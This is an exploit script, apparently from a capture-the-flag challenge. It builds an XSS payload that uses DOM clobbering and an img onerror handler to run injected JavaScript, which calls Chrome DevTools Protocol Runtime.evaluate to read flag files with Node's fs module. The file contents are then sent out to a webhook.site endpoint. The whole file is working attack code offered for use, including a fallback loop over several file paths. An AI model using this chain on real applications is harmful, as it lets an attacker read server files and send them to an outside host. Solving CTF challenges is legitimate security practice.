#!/usr/bin/env python3
"""
EXPLOIT 5: If CDP access works, use it to read /app/flag.txt
This would be the final payload once we confirm CDP access
"""

import urllib.parse
WEBHOOK = "https://webhook.site/YOUR-WEBHOOK-ID"  # Replace

# This assumes we can execute CDP commands (after confirming access)
code = f"""
(async () => {{
    try {{
        // Try to use CDP to read file system
        const Main = await import('/devtools/main/main.js');
        
        // Use CDP Runtime.evaluate to execute Node.js code
        const result = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
            expression: `
                const fs = require('fs');
                fs.readFileSync('/app/flag.txt', 'utf8');
            `
        }});
        
        await fetch('{WEBHOOK}', {{
            method: 'POST',
            body: JSON.stringify({{
                flag: result.result.value
            }})
        }});
    }} catch(e) {{
        // Fallback: try different file paths
        const paths = [
            '/flag.txt',
            '/flag',
            '/app/flag.txt',
            '/app/flag'
        ];
        
        for (const path of paths) {{
            try {{
                const result = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                    expression: `require('fs').readFileSync('${{path}}', 'utf8')`
                }});
                
                if (result.result.value) {{
                    await fetch('{WEBHOOK}?flag=' + encodeURIComponent(result.result.value));
                    break;
                }}
            }} catch(e2) {{}}
        }}
    }}
}})();
""".replace('\n', ' ')

encoded = urllib.parse.quote(code)

payload = f'''<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded}"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("=" * 80)
print("EXPLOIT 5: Use CDP to Read Flag File")
print("=" * 80)
print("\nAssuming CDP access works, this reads /app/flag.txt")
print("\nPAYLOAD:\n")
print(payload)
print("\n" + "=" * 80)
print("\n⚠️  NOTE: This assumes CDP access is available")
print("Run exploits 1-4 first to confirm CDP is accessible")
print("=" * 80)